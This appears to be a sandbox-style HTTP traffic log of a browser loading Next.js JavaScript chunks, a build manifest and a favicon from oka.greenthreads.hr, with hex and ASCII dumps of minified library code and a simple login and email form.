2025-03-24 17:18:19 UTC	13046	IN	Data Raw: 61 69 74 20 74 68 69 73 2e 73 65 74 28 57 2c 74 68 69 73 2e 63 6f 6d 70 6f 6e 65 6e 74 73 5b 57 2e 72 6f 75 74 65 5d 2c 6e 75 6c 6c 29 7d 63 61 74 63 68 28 65 29 7b 74 68 72 6f 77 28 30 2c 75 2e 64 65 66 61 75 6c 74 29 28 65 29 26 26 65 2e 63 61 6e 63 65 6c 6c 65 64 26 26 56 2e 65 76 65 6e 74 73 2e 65 6d 69 74 28 22 72 6f 75 74 65 43 68 61 6e 67 65 45 72 72 6f 72 22 2c 65 2c 51 2c 4b 29 2c 65 7d 72 65 74 75 72 6e 20 56 2e 65 76 65 6e 74 73 2e 65 6d 69 74 28 22 68 61 73 68 43 68 61 6e 67 65 43 6f 6d 70 6c 65 74 65 22 2c 72 2c 4b 29 2c 21 30 7d 6c 65 74 20 65 65 3d 28 30 2c 68 2e 70 61 72 73 65 52 65 6c 61 74 69 76 65 55 72 6c 29 28 74 29 2c 7b 70 61 74 68 6e 61 6d 65 3a 65 74 2c 71 75 65 72 79 3a 65 72 7d 3d 65 65 3b 69 66 28 6e 75 6c 6c 3d 3d 28 73 3d 74 Data Ascii: ait this.set(W,this.components[W.route],null)}catch(e){throw(0,u.default)(e)&&e.cancelled&&V.events.emit("routeChangeError",e,Q,K),e}return V.events.emit("hashChangeComplete",r,K),!0}let ee=(0,h.parseRelativeUrl)(t),{pathname:et,query:er}=ee;if(null==(s=t

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:19 UTC	573	OUT	GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:19 UTC	617	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14340 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="186-e401717d9e8b842b.js" Content-Length: 64992 Content-Type: application/javascript; charset=utf-8 Date: Mon, 24 Mar 2025 17:18:19 GMT Etag: "575c44cd8afe1990210f891769bc660a" Last-Modified: Mon, 24 Mar 2025 13:19:19 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/186-e401717d9e8b842b.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::22jlg-1742836699726-d0c7cd5741e9 Connection: close
2025-03-24 17:18:19 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 31 38 36 5d 2c 7b 34 38 37 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 75 74 66 38 3a 7b 73 74 72 69 6e 67 54 6f 42 79 74 65 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 62 69 6e 2e 73 74 72 69 6e 67 54 6f 42 79 74 65 73 28 75 6e 65 73 63 61 70 65 28 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 74 29 29 29 7d 2c 62 79 74 65 73 54 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 65 2e 62 69 6e 2e 62 79 74 65 73 54 6f 53 74 72 69 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[186],{487:function(t){var e={utf8:{stringToBytes:function(t){return e.bin.stringToBytes(unescape(encodeURIComponent(t)))},bytesToString:function(t){return decodeURIComponent(escape(e.bin.bytesToStri
2025-03-24 17:18:19 UTC	938	IN	Data Raw: 74 2c 30 29 3a 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 7c 7c 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 55 69 6e 74 38 41 72 72 61 79 7c 7c 28 74 3d 74 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 66 6f 72 28 76 61 72 20 72 3d 6e 2e 62 79 74 65 73 54 6f 57 6f 72 64 73 28 74 29 2c 75 3d 38 2a 74 2e 6c 65 6e 67 74 68 2c 66 3d 31 37 33 32 35 38 34 31 39 33 2c 6c 3d 2d 32 37 31 37 33 33 38 37 39 2c 63 3d 2d 31 37 33 32 35 38 34 31 39 34 2c 68 3d 32 37 31 37 33 33 38 37 38 2c 70 3d 30 3b 70 3c 72 2e 6c 65 6e 67 74 68 3b 70 2b 2b 29 72 5b 70 5d 3d 28 72 5b 70 5d 3c 3c 38 7c 72 5b 70 5d 3e 3e 3e 32 34 29 26 31 36 37 31 31 39 33 35 7c 28 72 5b 70 5d 3c 3c 32 34 7c 72 5b 70 5d 3e 3e 3e 38 29 26 34 32 37 38 32 35 35 33 36 30 3b 72 5b 75 3e 3e 3e 35 5d 7c 3d Data Ascii: t,0):Array.isArray(t)\|\|t.constructor===Uint8Array\|\|(t=t.toString());for(var r=n.bytesToWords(t),u=8*t.length,f=1732584193,l=-271733879,c=-1732584194,h=271733878,p=0;p<r.length;p++)r[p]=(r[p]<<8\|r[p]>>>24)&16711935\|(r[p]<<24\|r[p]>>>8)&4278255360;r[u>>>5]\|=
2025-03-24 17:18:19 UTC	4744	IN	Data Raw: 37 39 36 35 31 30 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 36 5d 2c 39 2c 2d 31 30 36 39 35 30 31 36 33 32 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 31 5d 2c 31 34 2c 36 34 33 37 31 37 37 31 33 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 30 5d 2c 32 30 2c 2d 33 37 33 38 39 37 33 30 32 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c 68 2c 72 5b 70 2b 35 5d 2c 35 2c 2d 37 30 31 35 35 38 36 39 31 29 2c 68 3d 79 28 68 2c 66 2c 6c 2c 63 2c 72 5b 70 2b 31 30 5d 2c 39 2c 33 38 30 31 36 30 38 33 29 2c 63 3d 79 28 63 2c 68 2c 66 2c 6c 2c 72 5b 70 2b 31 35 5d 2c 31 34 2c 2d 36 36 30 34 37 38 33 33 35 29 2c 6c 3d 79 28 6c 2c 63 2c 68 2c 66 2c 72 5b 70 2b 34 5d 2c 32 30 2c 2d 34 30 35 35 33 37 38 34 38 29 2c 66 3d 79 28 66 2c 6c 2c 63 2c 68 Data Ascii: 796510),h=y(h,f,l,c,r[p+6],9,-1069501632),c=y(c,h,f,l,r[p+11],14,643717713),l=y(l,c,h,f,r[p+0],20,-373897302),f=y(f,l,c,h,r[p+5],5,-701558691),h=y(h,f,l,c,r[p+10],9,38016083),c=y(c,h,f,l,r[p+15],14,-660478335),l=y(l,c,h,f,r[p+4],20,-405537848),f=y(f,l,c,h
2025-03-24 17:18:19 UTC	5930	IN	Data Raw: 65 20 6f 66 20 74 79 70 65 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 2c 20 41 72 72 61 79 42 75 66 66 65 72 2c 20 41 72 72 61 79 2c 20 6f 72 20 41 72 72 61 79 2d 6c 69 6b 65 20 4f 62 6a 65 63 74 2e 20 52 65 63 65 69 76 65 64 20 74 79 70 65 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 69 66 28 43 28 74 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 26 26 28 43 28 74 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 7c 7c 74 26 26 43 28 74 2e 62 75 66 66 65 72 2c 53 68 61 72 65 64 41 72 72 61 79 42 75 66 66 65 72 29 29 29 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f Data Ascii: e of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);if(C(t,ArrayBuffer)\|\|t&&C(t.buffer,ArrayBuffer)\|\|"undefined"!=typeof SharedArrayBuffer&&(C(t,SharedArrayBuffer)\|\|t&&C(t.buffer,SharedArrayBuffer)))return functio
2025-03-24 17:18:19 UTC	7116	IN	Data Raw: 2b 65 2c 72 3e 3e 3e 3d 30 2c 69 7c 7c 45 28 74 2c 65 2c 72 2c 38 2c 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 2c 2d 31 37 39 37 36 39 33 31 33 34 38 36 32 33 31 35 37 65 32 39 32 29 2c 6f 2e 77 72 69 74 65 28 74 2c 65 2c 72 2c 6e 2c 35 32 2c 38 29 2c 72 2b 38 7d 65 2e 42 75 66 66 65 72 3d 61 2c 65 2e 53 6c 6f 77 42 75 66 66 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 2b 74 21 3d 74 26 26 28 74 3d 30 29 2c 61 2e 61 6c 6c 6f 63 28 2b 74 29 7d 2c 65 2e 49 4e 53 50 45 43 54 5f 4d 41 58 5f 42 59 54 45 53 3d 35 30 2c 65 2e 6b 4d 61 78 4c 65 6e 67 74 68 3d 32 31 34 37 34 38 33 36 34 37 2c 61 2e 54 59 50 45 44 5f 41 52 52 41 59 5f 53 55 50 50 4f 52 54 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 74 3d 6e 65 Data Ascii: +e,r>>>=0,i\|\|E(t,e,r,8,17976931348623157e292,-17976931348623157e292),o.write(t,e,r,n,52,8),r+8}e.Buffer=a,e.SlowBuffer=function(t){return+t!=t&&(t=0),a.alloc(+t)},e.INSPECT_MAX_BYTES=50,e.kMaxLength=2147483647,a.TYPED_ARRAY_SUPPORT=function(){try{var t=ne
2025-03-24 17:18:19 UTC	8302	IN	Data Raw: 7c 7c 77 28 74 2c 31 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 2c 31 32 38 26 74 68 69 73 5b 74 5d 29 3f 2d 28 28 32 35 35 2d 74 68 69 73 5b 74 5d 2b 31 29 2a 31 29 3a 74 68 69 73 5b 74 5d 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 4c 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 3b 76 61 72 20 72 3d 74 68 69 73 5b 74 5d 7c 74 68 69 73 5b 74 2b 31 5d 3c 3c 38 3b 72 65 74 75 72 6e 20 33 32 37 36 38 26 72 3f 34 32 39 34 39 30 31 37 36 30 7c 72 3a 72 7d 2c 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 61 64 49 6e 74 31 36 42 45 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 74 3e 3e 3e 3d 30 2c 65 7c 7c 77 28 74 2c 32 2c 74 68 69 73 2e 6c 65 6e 67 74 68 29 Data Ascii: \|\|w(t,1,this.length),128&this[t])?-((255-this[t]+1)*1):this[t]},a.prototype.readInt16LE=function(t,e){t>>>=0,e\|\|w(t,2,this.length);var r=this[t]\|this[t+1]<<8;return 32768&r?4294901760\|r:r},a.prototype.readInt16BE=function(t,e){t>>>=0,e\|\|w(t,2,this.length)
2025-03-24 17:18:19 UTC	6676	IN	Data Raw: 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 72 2e 63 61 6c 6c 28 74 68 69 73 2c 74 29 7d 7d 7d 28 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 74 2c 65 29 7b 74 68 69 73 2e 66 75 6e 3d 74 2c 74 68 69 73 2e 61 72 72 61 79 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 7d 6f 2e 6e 65 78 74 54 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 41 72 72 61 79 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 31 29 3b 69 66 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 29 66 6f 72 28 76 61 72 20 72 3d 31 3b 72 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 65 5b 72 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 72 5d 3b 75 2e 70 75 73 68 28 6e 65 77 20 70 28 74 2c 65 29 29 2c 31 21 3d 3d 75 2e 6c 65 6e 67 74 68 7c Data Ascii: atch(e){return r.call(this,t)}}}(t)}}function p(t,e){this.fun=t,this.array=e}function d(){}o.nextTick=function(t){var e=Array(arguments.length-1);if(arguments.length>1)for(var r=1;r<arguments.length;r++)e[r-1]=arguments[r];u.push(new p(t,e)),1!==u.length\|
2025-03-24 17:18:19 UTC	10674	IN	Data Raw: 74 6f 72 5d 29 7d 2c 74 6f 4a 53 4f 4e 4f 62 6a 65 63 74 3a 74 70 2c 69 73 41 73 79 6e 63 46 6e 3a 74 64 2c 69 73 54 68 65 6e 61 62 6c 65 3a 74 79 2c 73 65 74 49 6d 6d 65 64 69 61 74 65 3a 74 67 2c 61 73 61 70 3a 74 6d 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 77 28 74 2c 65 2c 72 2c 6e 2c 6f 29 7b 45 72 72 6f 72 2e 63 61 6c 6c 28 74 68 69 73 29 2c 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 3f 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3a 74 68 69 73 2e 73 74 61 63 6b 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 2c 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 74 2c 74 68 69 73 2e 6e 61 6d 65 3d 22 41 78 69 6f 73 45 72 72 6f 72 22 2c 65 26 26 28 74 68 Data Ascii: tor])},toJSONObject:tp,isAsyncFn:td,isThenable:ty,setImmediate:tg,asap:tm};function tw(t,e,r,n,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=Error().stack,this.message=t,this.name="AxiosError",e&&(th
2025-03-24 17:18:19 UTC	11860	IN	Data Raw: 22 67 65 74 22 2c 22 73 65 74 22 2c 22 68 61 73 22 5d 2e 66 6f 72 45 61 63 68 28 6e 3d 3e 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2b 72 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 6f 29 7b 72 65 74 75 72 6e 20 74 68 69 73 5b 6e 5d 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 74 2c 72 2c 6f 29 7d 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 7d 29 7d 28 6e 2c 74 29 2c 72 5b 65 5d 3d 21 30 29 7d 72 65 74 75 72 6e 20 74 62 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 66 6f 72 45 61 63 68 28 6f 29 3a 6f 28 74 29 2c 74 68 69 73 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 30 28 74 2c 65 29 7b 6c 65 74 20 72 3d 74 68 69 73 7c 7c 74 4a 2c 6e 3d 65 7c 7c 72 2c 6f 3d 74 51 2e 66 72 6f 6d 28 6e 2e 68 65 61 64 65 72 73 Data Ascii: "get","set","has"].forEach(n=>{Object.defineProperty(t,n+r,{value:function(t,r,o){return this[n].call(this,e,t,r,o)},configurable:!0})})}(n,t),r[e]=!0)}return tb.isArray(t)?t.forEach(o):o(t),this}}function t0(t,e){let r=this\|\|tJ,n=e\|\|r,o=tQ.from(n.headers
2025-03-24 17:18:19 UTC	6380	IN	Data Raw: 21 74 31 28 65 29 26 26 28 65 4f 28 74 29 2c 65 26 26 65 2e 72 65 73 70 6f 6e 73 65 26 26 28 65 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 3d 74 30 2e 63 61 6c 6c 28 74 2c 74 2e 74 72 61 6e 73 66 6f 72 6d 52 65 73 70 6f 6e 73 65 2c 65 2e 72 65 73 70 6f 6e 73 65 29 2c 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 3d 74 51 2e 66 72 6f 6d 28 65 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 29 29 29 2c 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 65 29 7d 29 7d 6c 65 74 20 65 78 3d 22 31 2e 37 2e 39 22 2c 65 43 3d 7b 7d 3b 5b 22 6f 62 6a 65 63 74 22 2c 22 62 6f 6f 6c 65 61 6e 22 2c 22 6e 75 6d 62 65 72 22 2c 22 66 75 6e 63 74 69 6f 6e 22 2c 22 73 74 72 69 6e 67 22 2c 22 73 79 6d 62 6f 6c 22 5d 2e 66 6f 72 45 61 63 68 28 28 74 2c 65 29 3d 3e 7b 65 Data Ascii: !t1(e)&&(eO(t),e&&e.response&&(e.response.data=t0.call(t,t.transformResponse,e.response),e.response.headers=tQ.from(e.response.headers))),Promise.reject(e)})}let ex="1.7.9",eC={};["object","boolean","number","function","string","symbol"].forEach((t,e)=>{e

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:20 UTC	581	OUT	GET /_next/static/chunks/pages/index-2b6248c5408d9da6.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:20 UTC	626	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14340 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="index-2b6248c5408d9da6.js" Content-Length: 3442 Content-Type: application/javascript; charset=utf-8 Date: Mon, 24 Mar 2025 17:18:20 GMT Etag: "2b90e318e5909886a807175503f7548f" Last-Modified: Mon, 24 Mar 2025 13:19:19 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/chunks/pages/index-2b6248c5408d9da6.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::dbn86-1742836700191-77a244adb586 Connection: close
2025-03-24 17:18:20 UTC	2372	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 4e 5f 45 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 34 30 35 5d 2c 7b 35 35 35 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 28 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 3d 77 69 6e 64 6f 77 2e 5f 5f 4e 45 58 54 5f 50 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 22 2f 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 28 36 36 31 36 29 7d 5d 29 7d 2c 36 36 31 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 72 28 74 29 3b 76 61 72 20 61 3d 6e 28 35 38 39 33 29 2c 6f 3d 6e 28 37 32 39 34 29 2c 73 3d 6e 28 37 30 36 36 29 2c 72 3d 6e 28 32 35 36 38 29 2c 69 3d 6e 2e 6e 28 72 29 Data Ascii: (self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[405],{5557:function(e,t,n){(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),r=n(2568),i=n.n(r)
2025-03-24 17:18:20 UTC	929	IN	Data Raw: 43 68 61 6e 67 65 3a 65 3d 3e 72 28 65 2e 74 61 72 67 65 74 2e 76 61 6c 75 65 29 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 69 6e 70 75 74 2c 72 65 71 75 69 72 65 64 3a 21 30 7d 29 2c 28 30 2c 61 2e 6a 73 78 29 28 22 62 75 74 74 6f 6e 22 2c 7b 74 79 70 65 3a 22 73 75 62 6d 69 74 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 63 28 29 2e 62 75 74 74 6f 6e 2c 63 68 69 6c 64 72 65 6e 3a 22 4c 6f 67 69 6e 22 7d 29 5d 7d 29 5d 7d 29 3a 28 30 2c 61 2e 6a 73 78 73 29 28 22 66 6f 72 6d 22 2c 7b 6f 6e 53 75 62 6d 69 74 3a 62 2c 63 68 69 6c 64 72 65 6e 3a 5b 28 30 2c 61 2e 6a 73 78 29 28 22 69 6e 70 75 74 22 2c 7b 74 79 70 65 3a 22 65 6d 61 69 6c 22 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 22 45 6e 74 65 72 20 72 65 63 69 70 69 65 6e 74 20 65 6d 61 69 6c 22 2c 76 61 6c 75 65 Data Ascii: Change:e=>r(e.target.value),className:c().input,required:!0}),(0,a.jsx)("button",{type:"submit",className:c().button,children:"Login"})]})]}):(0,a.jsxs)("form",{onSubmit:b,children:[(0,a.jsx)("input",{type:"email",placeholder:"Enter recipient email",value
2025-03-24 17:18:20 UTC	141	IN	Data Raw: 69 6e 70 75 74 3a 22 49 6e 64 65 78 5f 69 6e 70 75 74 5f 5f 34 42 39 56 37 22 2c 62 75 74 74 6f 6e 3a 22 49 6e 64 65 78 5f 62 75 74 74 6f 6e 5f 5f 51 52 31 43 4d 22 7d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4f 28 30 2c 5b 37 37 34 2c 31 38 36 2c 38 38 38 2c 31 37 39 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 28 65 2e 73 3d 35 35 35 37 29 7d 29 2c 5f 4e 5f 45 3d 65 2e 4f 28 29 7d 5d 29 3b Data Ascii: input:"Index_input__4B9V7",button:"Index_button__QR1CM"}}},function(e){e.O(0,[774,186,888,179],function(){return e(e.s=5557)}),_N_E=e.O()}]);

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:20 UTC	582	OUT	GET /_next/static/nJY9rCDP1SlCE9MB38Ggm/_buildManifest.js HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:20 UTC	618	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14340 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="_buildManifest.js" Content-Length: 427 Content-Type: application/javascript; charset=utf-8 Date: Mon, 24 Mar 2025 17:18:20 GMT Etag: "6c7611f8c3d23e46e77db56e33b08727" Last-Modified: Mon, 24 Mar 2025 13:19:19 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/nJY9rCDP1SlCE9MB38Ggm/_buildManifest.js X-Vercel-Cache: HIT X-Vercel-Id: iad1::r5rjh-1742836700191-cc81fdde36df Connection: close
2025-03-24 17:18:20 UTC	427	IN	Data Raw: 73 65 6c 66 2e 5f 5f 42 55 49 4c 44 5f 4d 41 4e 49 46 45 53 54 3d 7b 5f 5f 72 65 77 72 69 74 65 73 3a 7b 62 65 66 6f 72 65 46 69 6c 65 73 3a 5b 5d 2c 61 66 74 65 72 46 69 6c 65 73 3a 5b 5d 2c 66 61 6c 6c 62 61 63 6b 3a 5b 5d 7d 2c 22 2f 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 31 38 36 2d 65 34 30 31 37 31 37 64 39 65 38 62 38 34 32 62 2e 6a 73 22 2c 22 73 74 61 74 69 63 2f 63 73 73 2f 31 39 64 30 39 61 36 31 31 33 61 66 61 30 30 37 2e 63 73 73 22 2c 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 69 6e 64 65 78 2d 32 62 36 32 34 38 63 35 34 30 38 64 39 64 61 36 2e 6a 73 22 5d 2c 22 2f 5f 65 72 72 6f 72 22 3a 5b 22 73 74 61 74 69 63 2f 63 68 75 6e 6b 73 2f 70 61 67 65 73 2f 5f 65 72 72 6f 72 2d 33 39 38 36 64 64 35 38 33 34 66 Data Ascii: self.__BUILD_MANIFEST={__rewrites:{beforeFiles:[],afterFiles:[],fallback:[]},"/":["static/chunks/186-e401717d9e8b842b.js","static/css/19d09a6113afa007.css","static/chunks/pages/index-2b6248c5408d9da6.js"],"/_error":["static/chunks/pages/_error-3986dd5834f

Timestamp	Bytes transferred	Direction	Data
2025-03-24 17:18:20 UTC	601	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 17:18:20 UTC	559	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 14339 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="favicon.ico" Content-Length: 819 Content-Type: image/vnd.microsoft.icon Date: Mon, 24 Mar 2025 17:18:20 GMT Etag: "4b5febb3fb4517a225620b5fe05016d2" Last-Modified: Mon, 24 Mar 2025 13:19:20 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /favicon.ico X-Vercel-Cache: HIT X-Vercel-Id: iad1::kt95j-1742836700313-858dd1699736 Connection: close
2025-03-24 17:18:20 UTC	819	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 02 e5 49 44 41 54 78 9c ed 9d 31 88 13 41 14 86 07 05 41 ac 2c bc cc 0b 2a 62 a9 a5 96 96 ea e5 cd 72 d7 05 3b ed 6c 6d 84 03 1b af 14 3b 4b c1 42 2c 6d 2d 2d 6c 2c 0f 44 d0 52 24 21 ef ed 55 16 6a 23 2a 2b 13 b1 09 77 87 b3 99 64 67 67 fe 0f b6 49 f5 b2 ff ce 37 4b 08 ff 18 03 00 00 00 00 00 00 00 19 31 d9 3e 37 14 a6 7b ca b4 27 8e 54 98 5e 6a 45 77 f7 ab 8d 8b 5d cf 96 2d d3 f1 d9 93 75 65 c7 e2 e8 95 38 fa a9 8e 9a 83 2e 04 12 91 e6 a1 39 26 23 ba a6 4c 4f 85 e9 eb 61 37 fd a8 0b 81 b4 a0 de 1c 5c 16 a6 5d 71 f4 b9 cd 4d 47 20 4b 7a 3d f6 4d 47 20 4b 7a 1d 81 24 e6 75 5d e3 65 72 a1 5e Data Ascii: PNGIHDR``w8pHYsIDATx1AA,br;lm;KB,m--l,DR$!Uj#+wdggI7K1>7{'T^jEw]-ue8.9&#LOa7\]qMG Kz=MG Kz$u]er^